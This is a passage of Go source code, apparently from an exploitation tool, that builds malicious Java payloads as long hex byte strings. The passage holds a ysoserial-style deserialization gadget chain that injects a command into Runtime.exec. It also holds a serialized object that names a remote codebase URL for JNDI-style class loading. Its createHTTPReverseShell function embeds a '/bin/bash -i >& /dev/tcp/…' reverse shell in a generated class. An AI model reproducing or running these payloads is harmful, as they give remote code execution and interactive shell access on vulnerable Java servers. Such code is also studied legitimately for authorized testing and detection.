+\n\t\t\"\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\" +\n\t\t\"\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\" +\n\t\t\"\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\" +\n\t\t\"\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x29\\x56\\x01\\x00\\x08\\x64\\x6f\\x63\" +\n\t\t\"\\x75\\x6d\\x65\\x6e\\x74\\x01\\x00\\x2d\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\" +\n\t\t\"\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\" +\n\t\t\"\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\" +\n\t\t\"\\x2f\\x44\\x4f\\x4d\\x3b\\x01\\x00\\x08\\x68\\x61\\x6e\\x64\\x6c\\x65\\x72\\x73\" +\n\t\t\"\\x01\\x00\\x42\\x5b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\" +\n\t\t\"\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\" +\n\t\t\"\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\" +\n\t\t\"\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\" +\n\t\t\"\\x64\\x6c\\x65\\x72\\x3b\\x01\\x00\\x0a\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x73\\x07\\x00\\x27\\x01\\x00\\xa6\\x28\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\" +\n\t\t\"\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\" +\n\t\t\"\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\" +\n\t\t\"\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\" +\n\t\t\"\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\" +\n\t\t\"\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x64\\x74\\x6d\\x2f\\x44\\x54\\x4d\\x41\\x78\" +\n\t\t\"\\x69\\x73\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\" +\n\t\t\"\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\" +\n\t\t\"\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\" +\n\t\t\"\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\" +\n\t\t\"\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x29\\x56\\x01\\x00\" +\n\t\t\"\\x08\\x69\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x01\\x00\\x35\\x4c\\x63\\x6f\\x6d\" +\n\t\t\"\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\" +\n\t\t\"\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x64\\x74\\x6d\" +\n\t\t\"\\x2f\\x44\\x54\\x4d\\x41\\x78\\x69\\x73\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\" +\n\t\t\"\\x3b\\x01\\x00\\x07\\x68\\x61\\x6e\\x64\\x6c\\x65\\x72\\x01\\x00\\x41\\x4c\\x63\" +\n\t\t\"\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\" +\n\t\t\"\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\" +\n\t\t\"\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x01\" +\n\t\t\"\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\\x65\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x47\" +\n\t\t\"\\x61\\x64\\x67\\x65\\x74\\x73\\x2e\\x6a\\x61\\x76\\x61\\x0c\\x00\\x0a\\x00\\x0b\" +\n\t\t\"\\x07\\x00\\x28\\x01\\x00\\x33\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\" +\n\t\t\"\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\" +\n\t\t\"\\x64\\x67\\x65\\x74\\x73\\x24\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\" +\n\t\t\"\\x65\\x74\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64\\x01\\x00\\x40\\x63\\x6f\\x6d\\x2f\" +\n\t\t\"\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\" +\n\t\t\"\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\" +\n\t\t\"\\x6c\\x74\\x63\\x2f\\x72\\x75\\x6e\\x74\\x69\\x6d\\x65\\x2f\\x41\\x62\\x73\\x74\" +\n\t\t\"\\x72\\x61\\x63\\x74\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x01\\x00\\x14\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x01\\x00\\x39\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\" +\n\t\t\"\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\" +\n\t\t\"\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x54\\x72\" +\n\t\t\"\\x61\\x6e\\x73\\x6c\\x65\\x74\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x01\" +\n\t\t\"\\x00\\x1f\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\" +\n\t\t\"\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\" +\n\t\t\"\\x73\\x01\\x00\\x08\\x3c\\x63\\x6c\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x11\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\" +\n\t\t\"\\x07\\x00\\x2a\\x01\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\" +\n\t\t\"\\x01\\x00\\x15\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x3b\\x0c\\x00\\x2c\\x00\\x2d\\x0a\\x00\\x2b\" +\n\t\t\"\\x00\\x2e\\x01\\x00\\xd0\" +\n\t\tencodedCommand +\n\t\t\"\\x08\\x00\\x30\\x01\\x00\\x04\\x65\\x78\\x65\\x63\\x01\" +\n\t\t\"\\x00\\x27\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\" +\n\t\t\"\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x3b\\x0c\\x00\\x32\\x00\\x33\\x0a\\x00\" +\n\t\t\"\\x2b\\x00\\x34\\x01\\x00\\x0d\\x53\\x74\\x61\\x63\\x6b\\x4d\\x61\\x70\\x54\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x01\\x00\\x1d\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\" +\n\t\t\"\\x50\\x77\\x6e\\x65\\x72\\x32\\x38\\x34\\x37\\x34\\x35\\x38\\x35\\x37\\x35\\x34\" +\n\t\t\"\\x35\\x36\\x33\\x01\\x00\\x1f\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x2f\\x50\\x77\\x6e\\x65\\x72\\x32\\x38\\x34\\x37\\x34\\x35\\x38\\x35\\x37\\x35\" +\n\t\t\"\\x34\\x35\\x36\\x33\\x3b\\x00\\x21\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x04\\x00\" +\n\t\t\"\\x01\\x00\\x1a\\x00\\x05\\x00\\x06\\x00\\x01\\x00\\x07\\x00\\x00\\x00\\x02\\x00\" +\n\t\t\"\\x08\\x00\\x04\\x00\\x01\\x00\\x0a\\x00\\x0b\\x00\\x01\\x00\\x0c\\x00\\x00\\x00\" +\n\t\t\"\\x2f\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x2a\\xb7\\x00\\x01\\xb1\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x31\\x00\\x0e\" +\n\t\t\"\\x00\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x0f\\x00\\x38\\x00\\x00\" +\n\t\t\"\\x00\\x01\\x00\\x13\\x00\\x14\\x00\\x02\\x00\\x0c\\x00\\x00\\x00\\x3f\\x00\\x00\" +\n\t\t\"\\x00\\x03\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\" +\n\t\t\"\\x06\\x00\\x01\\x00\\x00\\x00\\x35\\x00\\x0e\\x00\\x00\\x00\\x20\\x00\\x03\\x00\" +\n\t\t\"\\x00\\x00\\x01\\x00\\x0f\\x00\\x38\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x15\\x00\" +\n\t\t\"\\x16\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x17\\x00\\x18\\x00\\x02\\x00\\x19\\x00\" +\n\t\t\"\\x00\\x00\\x04\\x00\\x01\\x00\\x1a\\x00\\x01\\x00\\x13\\x00\\x1b\\x00\\x02\\x00\" +\n\t\t\"\\x0c\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x38\\x00\\x0e\" +\n\t\t\"\\x00\\x00\\x00\\x2a\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x0f\\x00\\x38\\x00\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x01\\x00\\x15\\x00\\x16\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x1c\" +\n\t\t\"\\x00\\x1d\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x1e\\x00\\x1f\\x00\\x03\\x00\\x19\" +\n\t\t\"\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x1a\\x00\\x08\\x00\\x29\\x00\\x0b\\x00\\x01\" +\n\t\t\"\\x00\\x0c\\x00\\x00\\x00\\x24\\x00\\x03\\x00\\x02\\x00\\x00\\x00\\x0f\\xa7\\x00\" +\n\t\t\"\\x03\\x01\\x4c\\xb8\\x00\\x2f\\x12\\x31\\xb6\\x00\\x35\\x57\\xb1\\x00\\x00\\x00\" +\n\t\t\"\\x01\\x00\\x36\\x00\\x00\\x00\\x03\\x00\\x01\\x03\\x00\\x02\\x00\\x20\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x21\\x00\\x11\\x00\\x00\\x00\\x0a\\x00\\x01\\x00\\x02\\x00\\x23\" +\n\t\t\"\\x00\\x10\\x00\\x09\\x75\\x71\\x00\\x7e\\x00\\x10\\x00\\x00\\x01\\xd4\\xca\\xfe\" +\n\t\t\"\\xba\\xbe\\x00\\x00\\x00\\x34\\x00\\x1b\\x0a\\x00\\x03\\x00\\x15\\x07\\x00\\x17\" +\n\t\t\"\\x07\\x00\\x18\\x07\\x00\\x19\\x01\\x00\\x10\\x73\\x65\\x72\\x69\\x61\\x6c\\x56\" +\n\t\t\"\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\\x49\\x44\\x01\\x00\\x01\\x4a\\x01\\x00\\x0d\" +\n\t\t\"\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\\x6c\\x75\\x65\\x05\\x71\\xe6\" +\n\t\t\"\\x69\\xee\\x3c\\x6d\\x47\\x18\\x01\\x00\\x06\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x01\" +\n\t\t\"\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0f\\x4c\" +\n\t\t\"\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\" +\n\t\t\"\\x12\\x4c\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\\x62\\x6c\\x65\\x54\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\\x68\\x69\\x73\\x01\\x00\\x03\\x46\\x6f\\x6f\" +\n\t\t\"\\x01\\x00\\x0c\\x49\\x6e\\x6e\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\\x01\" +\n\t\t\"\\x00\\x25\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\" +\n\t\t\"\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\" +\n\t\t\"\\x74\\x73\\x24\\x46\\x6f\\x6f\\x3b\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\\x65\" +\n\t\t\"\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x2e\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x0c\\x00\\x0a\\x00\\x0b\\x07\\x00\\x1a\\x01\\x00\\x23\\x79\\x73\" +\n\t\t\"\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\" +\n\t\t\"\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x24\\x46\\x6f\" +\n\t\t\"\\x6f\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x01\\x00\\x14\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x53\" +\n\t\t\"\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x62\\x6c\\x65\\x01\\x00\\x1f\\x79\\x73\" +\n\t\t\"\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\" +\n\t\t\"\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x00\\x21\\x00\" +\n\t\t\"\\x02\\x00\\x03\\x00\\x01\\x00\\x04\\x00\\x01\\x00\\x1a\\x00\\x05\\x00\\x06\\x00\" +\n\t\t\"\\x01\\x00\\x07\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x01\\x00\\x01\\x00\\x0a\\x00\" +\n\t\t\"\\x0b\\x00\\x01\\x00\\x0c\\x00\\x00\\x00\\x2f\\x00\\x01\\x00\\x01\\x00\\x00\\x00\" +\n\t\t\"\\x05\\x2a\\xb7\\x00\\x01\\xb1\\x00\\x00\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\\x06\" +\n\t\t\"\\x00\\x01\\x00\\x00\\x00\\x3c\\x00\\x0e\\x00\\x00\\x00\\x0c\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x05\\x00\\x0f\\x00\\x12\\x00\\x00\\x00\\x02\\x00\\x13\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x00\\x14\\x00\\x11\\x00\\x00\\x00\\x0a\\x00\\x01\\x00\\x02\\x00\\x16\\x00\\x10\" +\n\t\t\"\\x00\\x09\\x70\\x74\\x00\\x04\\x50\\x77\\x6e\\x72\\x70\\x77\\x01\\x00\\x78\\x71\" +\n\t\t\"\\x00\\x7e\\x00\\x0d\\x78\\x30\\x2b\\x04\\x0c\\x6a\\x61\\x76\\x61\\x43\\x6f\\x64\" +\n\t\t\"\\x65\\x42\\x61\\x73\\x65\\x31\\x1b\\x04\\x19\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\" +\n\t\t\"\\x31\\x30\\x2e\\x31\\x32\\x2e\\x37\\x30\\x2e\\x32\\x35\\x32\\x3a\\x38\\x31\\x38\" +\n\t\t\"\\x30\\x2f\\x30\\x16\\x04\\x0d\\x6a\\x61\\x76\\x61\\x43\\x6c\\x61\\x73\\x73\\x4e\" +\n\t\t\"\\x61\\x6d\\x65\\x31\\x05\\x04\\x03\\x66\\x6f\\x6f\"\n\n\treturn complete\n}\n\n// this is *exactly* https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java\nfunc createHTTPReverseShell(lhost string, lport int, classname string) string {\n\tcommand := \"/bin/bash -i >&  /dev/tcp/\" + lhost + \"/\" + strconv.Itoa(lport) + \" 0>&1\"\n\n\tclassLength := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(classLength, uint16(len(classname)))\n\n\tcommandLength := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(commandLength, uint16(len(command)))\n\n\t//nolint:dupword // Duplicate words () found\n\tcomplete := \"\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x32\\x00\\x48\\x01\" +\n\t\tstring(classLength) + classname +\n\t\t\"\\x07\\x00\" +\n\t\t\"\\x01\\x01\\x00\\x40\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\" +\n\t\t\"\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x72\\x75\\x6e\\x74\" +\n\t\t\"\\x69\\x6d\\x65\\x2f\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x54\\x72\\x61\\x6e\" +\n\t\t\"\\x73\\x6c\\x65\\x74\\x07\\x00\\x03\\x01\\x00\\x02\\x69\\x70\\x01\\x00\\x12\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x01\\x00\\x04\\x70\\x6f\\x72\\x74\\x01\\x00\\x01\\x49\\x01\\x00\\x06\\x3c\" +\n\t\t\"\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x13\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x07\\x00\\x0b\\x0c\\x00\\x09\\x00\\x0a\\x0a\\x00\\x04\\x00\\x0d\\x01\\x00\" +\n\t\t\"\\x0c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x46\\x69\\x6c\\x65\\x07\\x00\\x0f\" +\n\t\t\"\\x01\\x00\\x09\\x73\\x65\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\x0c\\x00\\x11\\x00\" +\n\t\t\"\\x06\\x09\\x00\\x10\\x00\\x12\\x01\\x00\\x01\\x2f\\x08\\x00\\x14\\x01\\x00\\x10\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x07\\x00\\x16\\x01\\x00\\x06\\x65\\x71\\x75\\x61\\x6c\\x73\\x01\\x00\\x15\\x28\" +\n\t\t\"\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\" +\n\t\t\"\\x74\\x3b\\x29\\x5a\\x0c\\x00\\x18\\x00\\x19\\x0a\\x00\\x17\\x00\\x1a\\x01\\x00\" +\n\t\t\"\\x09\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68\\x08\\x00\\x1c\\x01\\x00\\x02\" +\n\t\t\"\\x2d\\x63\\x08\\x00\\x1e\\x01\" + string(commandLength) + command +\n\t\t\"\\x08\\x00\\x20\\x01\\x00\\x11\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x07\\x00\\x22\" +\n\t\t\"\\x01\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x01\\x00\\x15\" +\n\t\t\"\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e\" +\n\t\t\"\\x74\\x69\\x6d\\x65\\x3b\\x0c\\x00\\x24\\x00\\x25\\x0a\\x00\\x23\\x00\\x26\\x01\" +\n\t\t\"\\x00\\x04\\x65\\x78\\x65\\x63\\x01\\x00\\x28\\x28\\x5b\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\" +\n\t\t\"\\x3b\\x0c\\x00\\x28\\x00\\x29\\x0a\\x00\\x23\\x00\\x2a\\x01\\x00\\x13\\x5b\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x07\\x00\\x2c\\x01\\x00\\x0f\\x70\\x72\\x69\\x6e\\x74\\x53\\x74\\x61\\x63\" +\n\t\t\"\\x6b\\x54\\x72\\x61\\x63\\x65\\x0c\\x00\\x2e\\x00\\x0a\\x0a\\x00\\x0c\\x00\\x2f\" +\n\t\t\"\\x01\\x00\\x01\\x65\\x01\\x00\\x15\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x3b\\x01\\x00\\x07\\x63\" +\n\t\t\"\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x01\\x00\\x04\\x74\\x68\\x69\\x73\\x01\\x00\\x0e\" +\n\t\t\"\\x4c\\x52\\x65\\x76\\x65\\x72\\x73\\x65\\x53\\x68\\x65\\x6c\\x6c\\x3b\\x01\\x00\" +\n\t\t\"\\x09\\x74\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x01\\x00\\x72\\x28\\x4c\\x63\" +\n\t\t\"\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\" +\n\t\t\"\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\" +\n\t\t\"\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x5b\\x4c\\x63\\x6f\\x6d\" +\n\t\t\"\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\" +\n\t\t\"\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\" +\n\t\t\"\\x69\\x61\\x6c\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\" +\n\t\t\"\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x29\\x56\\x01\" +\n\t\t\"\\x00\\x39\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\" +\n\t\t\"\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\" +\n\t\t\"\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x54\\x72\\x61\\x6e\\x73\\x6c\" +\n\t\t\"\\x65\\x74\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x07\\x00\\x38\\x01\\x00\" +\n\t\t\"\\x08\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x01\\x00\\x2d\\x4c\\x63\\x6f\\x6d\" +\n\t\t\"\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\" +\n\t\t\"\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\" +\n\t\t\"\\x73\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x01\\x00\\x08\\x68\\x61\\x6e\\x64\" +\n\t\t\"\\x6c\\x65\\x72\\x73\\x01\\x00\\x42\\x5b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\" +\n\t\t\"\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\" +\n\t\t\"\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\" +\n\t\t\"\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x01\\x00\\xa6\\x28\\x4c\\x63\\x6f\" +\n\t\t\"\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\" +\n\t\t\"\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\" +\n\t\t\"\\x78\\x73\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\" +\n\t\t\"\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\" +\n\t\t\"\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x64\\x74\\x6d\\x2f\\x44\" +\n\t\t\"\\x54\\x4d\\x41\\x78\\x69\\x73\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x3b\\x4c\" 